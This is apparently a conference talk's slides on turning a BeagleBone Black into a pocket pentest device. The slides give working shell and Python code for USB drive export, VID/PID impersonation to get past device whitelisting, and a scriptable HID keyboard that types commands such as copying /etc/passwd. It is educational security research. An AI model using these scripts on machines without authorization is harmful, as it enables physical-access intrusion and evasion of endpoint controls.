SlideShare a Scribd company logo
1 of 39
Download to read offline
One Device to Pwn Them All
Phil Polstra
Bloomsburg University of Pennsylvania
@ppolstra
http://philpolstra.com
What is this talk about?
● A pocket sized device that can be
● Drop box (can be battery powered for days if needed)
● Remote hacking drone (controlled from up to 2 miles away)
● Airborne hacking drone (when combined with RC aircraft)
● Hacking console (can and has been built into a lunch box)
● Used for USB-based attacks
– Write protect flash drive
– USB impersonation
– Scriptable HID
Why should you care?
● BeagleBone Black running Deck Linux is
● Small
● Flexible (wired/wireless battery/USB/wall power)
● Can be networked to integrate into sophisticated pentests
● So, you might have one on you
● Exploit brief physical access to target
● As we'll see, can do a lot in a couple seconds
Who am I?
● Professor at Bloomsburg University teaching digital
forensics & information security
● Author: Linux Forensics & HPTWLPD
● Programming from age 8
● Hacking hardware from age 12
● Also known to fly, build planes, and do other aviation stuff
● Course author for PentesterAcademy.com and others
Roadmap
● Quick overview of BBB running Deck Linux
● Exporting BBB-attached USB drive to PC (read-only)
● Write-enabling an exported drive (BHEU12)
● USB mass storage device impersonation (DC20)
● Scriptable USB HID keyboard
● Base OS
● Built on Ubuntu 14.04
● Optimized for the BBB & pentesting
● Use as dropbox or hacking console
● Over 4000 packages pre-installed (fluff free)
● MeshDeck
● Adds remote control via 802.15.4/ZigBee networking
● Allows coordinated attacks with multiple remote drones
● AirDeck
● Combined with the MeshDeck to allow airborne drone or router
● 4Deck
● Forensic add-on that automatically write blocks USB mass storage devices (udev rules-based)
● Udeck (USB-based attacks)
USB Gadget Basics
● USB composite “gadget” device used for
● Mass storage
● Audio
● Networking
● MIDI
● CDC
● Webcam
● HID (4.x kernels only!)
USB Gadget on BBB
● Default config uses g_multi (USB composite gadget)
● Normally exports boot partition
● Normally configures USB Ethernet with static IPs
– BBB 192.168.7.2
– Host PC 192.168.7.1
● Some distributions start GETTY as well
● Default conflicts with what we want
● Never export a mounted filesystem unless read-only on both ends
Exporting USB Mass Storage Device
#!/bin/bash
# stop the GETTY service if needed
if which 'systemctl' ; then
systemctl stop serial-getty@ttyGS0.service >/dev/null
fi
# unload current composite gadget
modprobe -r g_multi
# these variables are used to export all partitions
fstr=""
rostr=""
# unmount the USB drive
for d in $(ls /dev/sd*) ; do
if echo "$d" | egrep '[1-9]$' >/dev/null ; then
umount $d
fstr+=",$d"
rostr+=",1"
fi
done
Exporting USB MS (continued)
fstr=${fstr:1} # strip leading comma
rostr=${rostr:1}
echo "$fstr" >/tmp/usbexports # store for later in case we re-export as r/w
# now export it
vend=$(( 0x1337 )) # pick your favorite vid/pid
prod=$(( 0x1337 ))
echo "$vend" >/tmp/usbvend # save vid/pid for possible r/w export
echo "$prod" >/tmp/usbprod
modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr 
removable=1 nofua=1 idVendor=$vend idProduct=$prod
USB Mass Storage Read-only Export
Demo
Making the exported drive writable
●
For after you kill any anti-virus! (DFIU)
#!/bin/bash
# these variables are used to export all partitions
if [ -e /tmp/usbexports ] ; then
fstr=$(cat /tmp/usbexports)
modprobe -r g_multi
modprobe g_multi file=$fstr cdrom=0 stall=0 
removable=1 nofua=1 idVendor=$(cat /tmp/usbvend) 
idProduct=$(cat /tmp/usbprod)
fi
Demo: Making the Exported Drive Writable
USB Mass Storage Impersonation
● Some people think they can block users from mounting
unauthorized flash drives
● Typically use endpoint security software and/or rules to
filter by VID/PID
● Microcontroller device presented at DC20
● Can do same thing with BBB and shell scripting
● Better performance (USB 2.0 High Speed vs. Full Speed)
Impersonator: Part 1 - Setup
#!/bin/bash
usage () {
echo "Usage: $0 [-v Vendor] [-p Product] [-d Delay]"
echo "USB impersonator shell script. Will interate"
echo "over list if no vendor and product id given."
echo "Standard delay is four seconds before switching."
exit 1
}
declare -i vend=0x1337
declare -i prod=0x1337
declare -i delay=4
parseargs () {
useFile=true
delay=$(( 2 ))
while [[ $# > 1 ]]
do
key="$1"
case $key in
-v)
vend="0x$2"
useFile=false
shift
;;
snip
esac
shift
done
}
Impersonator: Part 2 – Unmount Drive
if which 'systemctl' ; then
systemctl stop serial-getty@ttyGS0.service >/dev/null
fi
# unload current composite gadget
modprobe -r g_multi
# these variables are used to export all partitions
fstr=""
rostr=""
# unmount the USB drive
for d in $(ls /dev/sd*) ; do
if echo "$d" | egrep '[1-9]$' >/dev/null ; then
umount $d
fstr+=",$d"
rostr+=",1"
fi
done
fstr=${fstr:1}
rostr=${rostr:1}
echo "$fstr" >/tmp/usbexports
# store the process ID so it can be killed
echo "$BASHPID" > /tmp/impersonator-pid
Impersonator: Part 3 – Export Drive
# now export it
if $useFile ; then
declare -a arr
while read line
do
arr=(${line//,/ })
v=${arr[0]} ; vend="0x$v"
p=${arr[1]} ; prod="0x$p"
modprobe -r g_multi
modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 idVendor=$vend idProduct=$prod
sleep $delay
done < 'vidpid-list'
else
modprobe g_multi file=$fstr cdrom=0 stall=0 ro=$rostr removable=1 nofua=1 
idVendor=$vend idProduct=$prod
fi
USB Impersonator Demo
Creating a HID: Part 1 – Unload g_multi
● Default devices (Ethernet, etc.) are loaded via g_multi
● Must be unloaded for our HID to work
#!/bin/bash
# This script will create a HID device on the BBB
# if the g_multi device is loaded remove it
if lsmod | grep g_multi >/dev/null ; then
modprobe -r g_multi
fi
Create a HID: Part 2 - Configfs
● Configfs is used to configure HID at install time
● A /sys/kernel/config directory should already exist
# check for the existance of configfs
if mount | grep '/sys/kernel/config' >/dev/null ; then
umount /sys/kernel/config
fi
mount none -t configfs /sys/kernel/config
Create a HID: Part 3 - Create Device
# create a keyboard device
kbdir="/sys/kernel/config/usb_gadget/kb"
if [ ! -d "$kbdir" ] ; then
mkdir $kbdir
fi
echo 0x1337 >"$kbdir/idVendor"
echo 0x1337 >"$kbdir/idProduct"
echo 0x0100 >"$kbdir/bcdDevice"
echo 0x0110 >"$kbdir/bcdUSB"
Create a HID: Part 4 – Add a Config
if [ ! -d "$kbdir/configs/c.1" ] ; then
mkdir "$kbdir/configs/c.1"
fi
echo 500 >"$kbdir/configs/c.1/MaxPower"
if [ ! -d "$kbdir/functions/hid.usb0" ] ; then
mkdir "$kbdir/functions/hid.usb0"
fi
echo 1 >"$kbdir/functions/hid.usb0/subclass"
echo 1 >"$kbdir/functions/hid.usb0/protocol"
echo 8 >"$kbdir/functions/hid.usb0/report_length"
Create a HID: Part 5 - Finalize
● Need a report descriptor for keyboard
● Create symlink for configuration
● Activate!
cp report_descriptor_kb.bin "$kbdir/functions/hid.usb0/report_desc"
ln -s "$kbdir/functions/hid.usb0" "$kbdir/configs/c.1"
echo musb-hdrc.0.auto >"$kbdir/UDC"
HID Report Descriptor Detail
0501 // usage page
0906 // usage (keyboard)
a101 // collection (application)
0507 // usage page (keyboard)
19e0 // usage min (left control)
29e7 // usage max (right GUI)
1500 // logical min (0)
2501 // logical max (1)
7501 // report size (1)
9508 // report count (8)
8102 // input (data, var, abs)
9501 // report count (1)
7508 // report size (8)
8101 // input (data, var, abs)
9505 // report count (5)
7501 // report size (1)
0508 // usage page (LEDs)
1901 // usage min (num lock)
2905 // usage max
9102 // output (data, var, abs)
9501 // report count (1)
7503 // report size (3)
9101 // output (data, var, abs)
9506 // report count (6)
7508 // report size (8)
1500 // logical min (0)
26ff00 // logical max (255)
0507 // usage page (key codes)
1900 // usage min (0)
2aff00 // usage max (255)
8100 // input (data, var, abs)
c0 // end collection
Demo Our New HID
Using the new HID
Byte Name Description
0 Modifier “Shift” keys
1 Reserved 0x00
2 Key 1 Keycode “a” =
0x04, etc.
3 Key 2 “
4 Key 3 “
5 Key 4 “
6 Key 5 “
7 Key 6 “
● Send HID report to
/dev/hidg0
● Must send key press &
release
● Use Python
Python Prelims
import struct, time
# define the key modifiers
KeyModifier = {
'LeftCtrl' : 1 << 0,
'LeftShift' : 1 << 1,
'LeftAlt' : 1 << 2,
'LeftGui' : 1 << 3,
'RightCtrl' : 1 << 4,
'RightShift' : 1 << 5,
'RightAlt' : 1 << 6,
'RightGui' : 1 << 7 }
# define ASCII to keycode mapping
# maps ASCII to (modifier, keycode) tuple
AsciiToKey = {
'a' : (0, 4), 'b' : (0, 5), 'c' : (0, 6),
'd' : (0, 7), 'e' : (0, 8), 'f' : (0, 9),
'g' : (0, 10), 'h' : (0, 11), 'i' : (0, 12),
'j' : (0, 13), 'k' : (0, 14), 'l' : (0, 15),
'm' : (0, 16), 'n' : (0, 17), 'o' : (0, 18),
'p' : (0, 19), 'q' : (0, 20), 'r' : (0, 21),
's' : (0, 22), 't' : (0, 23), 'u' : (0, 24),
'v' : (0, 25), 'w' : (0, 26), 'x' : (0, 27),
'y' : (0, 28), 'z' : (0, 29), '1' : (0, 30),
'2' : (0, 31), '3' : (0, 32), '4' : (0, 33),
'5' : (0, 34), '6' : (0, 35), '7' : (0, 36),
'8' : (0, 37), '9' : (0, 38), '0' : (0, 39),
snip
Python: UdeckHid Class
class UdeckHid():
def __init__(self, hidDev="/dev/hidg0"):
self.hidDev = hidDev
def sendKey(self, keycode, modifier):
report = struct.pack("BBBBL", modifier, 0x00,
keycode, 0x00, 0x00000000)
with open(self.hidDev, "wb") as hd:
hd.write(report) # Send key press
report = struct.pack("Q", 0) # key release
hd.write(report)
def sendShiftKey(self, asciiChar):
self.sendKey(AsciiToKey[asciiChar][1], 2)
snip
def sendChar(self, asciiChar):
(modifier, keycode) = AsciiToKey[asciiChar]
if keycode !=0:
self.sendKey(keycode, modifier)
def sendString(self, asciiString):
for i in range(0, len(asciiString)):
self.sendChar(asciiString[i])
def sendLine(self, asciiString):
self.sendString(asciiString)
self.sendEnter()
Simple Linux Attack
udh = UdeckHid()
udh.sendLine("env")
udh.sendEnter()
udh.sendLine("nano hacked.txt")
for i in range(0,10):
udh.sendString("You are so hacked!n")
udh.sendKey(AsciiToKey['x'][1], 1)
udh.sendKey(AsciiToKey['y'][1], 0)
udh.sendEnter()
udh.sendEnter()
udh.sendLine("cat /etc/passwd > gotyourpasswords.txt")
udh.sendLine("clear")
Simple Linux Attack Demo
Let's Attack Windows
● What else is Windows good for anyway?
udh = udeckHid.UdeckHid()
udh.sendWindowKey('r')
udh.sendLine('notepad')
for i in range(0, 50):
udh.sendString('You are so hackedn')
udh.sendAltKey('f')
udh.sendChar('x')
udh.sendEnter()
udh.sendLine('hacked.txt')
udh.sendWindowsUpsideDownScreen()
udh.sendWindowsLockScreen()
Simple Windows Attack Demo
Questions?
● Demo Labs Saturday 12:00 – 14:00
● PentesterAcademy booth (??, ask if I'm not there)
● Sign up for a chance to win one of two gift sets which include:
– Hacking and Penetration Testing with Low Power Devices
– Linux Forensics
– CatchWire appliance

More Related Content

What's hot

Confraria SECURITY & IT - Lisbon Set 29, 2011
Confraria SECURITY & IT - Lisbon Set 29, 2011Confraria SECURITY & IT - Lisbon Set 29, 2011
Confraria SECURITY & IT - Lisbon Set 29, 2011ricardomcm
 
Paver For PyWorks 2008
Paver For PyWorks 2008Paver For PyWorks 2008
Paver For PyWorks 2008Kevin Dangoor
 
What is suid, sgid and sticky bit
What is suid, sgid and sticky bit  What is suid, sgid and sticky bit
What is suid, sgid and sticky bit Meenu Chopra
 
Pry, the good parts
Pry, the good partsPry, the good parts
Pry, the good partsConrad Irwin
 
Unit 8
Unit 8Unit 8
Unit 8siddr
 
How to create a secured multi tenancy for clustered ML with JupyterHub
How to create a secured multi tenancy for clustered ML with JupyterHubHow to create a secured multi tenancy for clustered ML with JupyterHub
How to create a secured multi tenancy for clustered ML with JupyterHubTiago Simões
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoringTiago Simões
 
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line KeystrokesEfficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line KeystrokesSeth Miller
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboyKenneth Geisshirt
 
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)Ozh
 
System administration
System administrationSystem administration
System administrationpuspa joshi
 
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...Codemotion
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxMichael Genkin
 
Iphone and Ipad development Game with Cocos2D
Iphone and Ipad development Game with Cocos2DIphone and Ipad development Game with Cocos2D
Iphone and Ipad development Game with Cocos2Dcreagamers
 

What's hot (19)

Confraria SECURITY & IT - Lisbon Set 29, 2011
Confraria SECURITY & IT - Lisbon Set 29, 2011Confraria SECURITY & IT - Lisbon Set 29, 2011
Confraria SECURITY & IT - Lisbon Set 29, 2011
 
Paver For PyWorks 2008
Paver For PyWorks 2008Paver For PyWorks 2008
Paver For PyWorks 2008
 
What is suid, sgid and sticky bit
What is suid, sgid and sticky bit  What is suid, sgid and sticky bit
What is suid, sgid and sticky bit
 
Network
NetworkNetwork
Network
 
Zookeper
ZookeperZookeper
Zookeper
 
Pry, the good parts
Pry, the good partsPry, the good parts
Pry, the good parts
 
iCloud keychain
iCloud keychainiCloud keychain
iCloud keychain
 
Unit 8
Unit 8Unit 8
Unit 8
 
How to create a secured multi tenancy for clustered ML with JupyterHub
How to create a secured multi tenancy for clustered ML with JupyterHubHow to create a secured multi tenancy for clustered ML with JupyterHub
How to create a secured multi tenancy for clustered ML with JupyterHub
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoring
 
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line KeystrokesEfficient DBA: Gain Time by Reducing Command-Line Keystrokes
Efficient DBA: Gain Time by Reducing Command-Line Keystrokes
 
Unleash your inner console cowboy
Unleash your inner console cowboyUnleash your inner console cowboy
Unleash your inner console cowboy
 
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)
WordPress Plugin Unit Tests (FR - WordCamp Paris 2015)
 
Mojolicious lite
Mojolicious liteMojolicious lite
Mojolicious lite
 
Linux Command Line
Linux Command LineLinux Command Line
Linux Command Line
 
System administration
System administrationSystem administration
System administration
 
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...
Hearthstone: an analysis of game network protocols - Marco Cuciniello, Andrea...
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]Box
 
Iphone and Ipad development Game with Cocos2D
Iphone and Ipad development Game with Cocos2DIphone and Ipad development Game with Cocos2D
Iphone and Ipad development Game with Cocos2D
 

Similar to One Device to Pwn Them All: A Pocket Sized Hacking Device

Build Your Own Android Tablet
Build Your Own Android TabletBuild Your Own Android Tablet
Build Your Own Android TabletSGAndroidDevs
 
The Deck by Phil Polstra GrrCON2012
The Deck by Phil Polstra GrrCON2012The Deck by Phil Polstra GrrCON2012
The Deck by Phil Polstra GrrCON2012Philip Polstra
 
Starting Raspberry Pi
Starting Raspberry PiStarting Raspberry Pi
Starting Raspberry PiLloydMoore
 
A million ways to provision embedded linux devices
A million ways to provision embedded linux devicesA million ways to provision embedded linux devices
A million ways to provision embedded linux devicesMender.io
 
Tema3_Introduction_to_CUDA_C.pdf
Tema3_Introduction_to_CUDA_C.pdfTema3_Introduction_to_CUDA_C.pdf
Tema3_Introduction_to_CUDA_C.pdfpepe464163
 
IoT Getting Started with Intel® IoT Devkit
IoT Getting Started with Intel® IoT DevkitIoT Getting Started with Intel® IoT Devkit
IoT Getting Started with Intel® IoT DevkitVasily Ryzhonkov
 
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressBKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressLinaro
 
Build your own embedded linux distributions by yocto project
Build your own embedded linux distributions by yocto projectBuild your own embedded linux distributions by yocto project
Build your own embedded linux distributions by yocto projectYen-Chin Lee
 
Hacking and Forensics on the Go - 44CON 2012
Hacking and Forensics on the Go - 44CON 2012Hacking and Forensics on the Go - 44CON 2012
Hacking and Forensics on the Go - 44CON 201244CON
 
Study on Android Emulator
Study on Android EmulatorStudy on Android Emulator
Study on Android EmulatorSamael Wang
 
U-Boot presentation 2013
U-Boot presentation  2013U-Boot presentation  2013
U-Boot presentation 2013Wave Digitech
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 
Tools and Process for Streamlining Mac Deployment
Tools and Process for Streamlining Mac DeploymentTools and Process for Streamlining Mac Deployment
Tools and Process for Streamlining Mac DeploymentTimothy Sutton
 
Taking the hard out of hardware
Taking the hard out of hardwareTaking the hard out of hardware
Taking the hard out of hardwareRonald McCollam
 
Dependencies Managers in C/C++. Using stdcpp 2014
Dependencies Managers in C/C++. Using stdcpp 2014Dependencies Managers in C/C++. Using stdcpp 2014
Dependencies Managers in C/C++. Using stdcpp 2014biicode
 
Raspberry Pi a la CFML
Raspberry Pi a la CFMLRaspberry Pi a la CFML
Raspberry Pi a la CFMLdevObjective
 

Similar to One Device to Pwn Them All: A Pocket Sized Hacking Device (20)

Начало работы с Intel IoT Dev Kit
Начало работы с Intel IoT Dev KitНачало работы с Intel IoT Dev Kit
Начало работы с Intel IoT Dev Kit
 
Build Your Own Android Tablet
Build Your Own Android TabletBuild Your Own Android Tablet
Build Your Own Android Tablet
 
The Deck by Phil Polstra GrrCON2012
The Deck by Phil Polstra GrrCON2012The Deck by Phil Polstra GrrCON2012
The Deck by Phil Polstra GrrCON2012
 
Starting Raspberry Pi
Starting Raspberry PiStarting Raspberry Pi
Starting Raspberry Pi
 
A million ways to provision embedded linux devices
A million ways to provision embedded linux devicesA million ways to provision embedded linux devices
A million ways to provision embedded linux devices
 
Tema3_Introduction_to_CUDA_C.pdf
Tema3_Introduction_to_CUDA_C.pdfTema3_Introduction_to_CUDA_C.pdf
Tema3_Introduction_to_CUDA_C.pdf
 
IoT Getting Started with Intel® IoT Devkit
IoT Getting Started with Intel® IoT DevkitIoT Getting Started with Intel® IoT Devkit
IoT Getting Started with Intel® IoT Devkit
 
How to Hack Edison
How to Hack EdisonHow to Hack Edison
How to Hack Edison
 
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and ProgressBKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
BKK16-211 Internet of Tiny Linux (io tl)- Status and Progress
 
Build your own embedded linux distributions by yocto project
Build your own embedded linux distributions by yocto projectBuild your own embedded linux distributions by yocto project
Build your own embedded linux distributions by yocto project
 
Polstra 44con2012
Polstra 44con2012Polstra 44con2012
Polstra 44con2012
 
Hacking and Forensics on the Go - 44CON 2012
Hacking and Forensics on the Go - 44CON 2012Hacking and Forensics on the Go - 44CON 2012
Hacking and Forensics on the Go - 44CON 2012
 
Study on Android Emulator
Study on Android EmulatorStudy on Android Emulator
Study on Android Emulator
 
U-Boot presentation 2013
U-Boot presentation  2013U-Boot presentation  2013
U-Boot presentation 2013
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 
Tools and Process for Streamlining Mac Deployment
Tools and Process for Streamlining Mac DeploymentTools and Process for Streamlining Mac Deployment
Tools and Process for Streamlining Mac Deployment
 
Taking the hard out of hardware
Taking the hard out of hardwareTaking the hard out of hardware
Taking the hard out of hardware
 
Dependencies Managers in C/C++. Using stdcpp 2014
Dependencies Managers in C/C++. Using stdcpp 2014Dependencies Managers in C/C++. Using stdcpp 2014
Dependencies Managers in C/C++. Using stdcpp 2014
 
Raspberry Pi a la CFML
Raspberry Pi a la CFMLRaspberry Pi a la CFML
Raspberry Pi a la CFML
 
Raspberry pi a la cfml
Raspberry pi a la cfmlRaspberry pi a la cfml
Raspberry pi a la cfml
 

More from Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryFelipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsFelipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionFelipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentFelipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareFelipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationFelipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceFelipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionistFelipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksFelipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityFelipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsFelipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksFelipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationFelipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncFelipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesFelipe Prado
 

More from Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
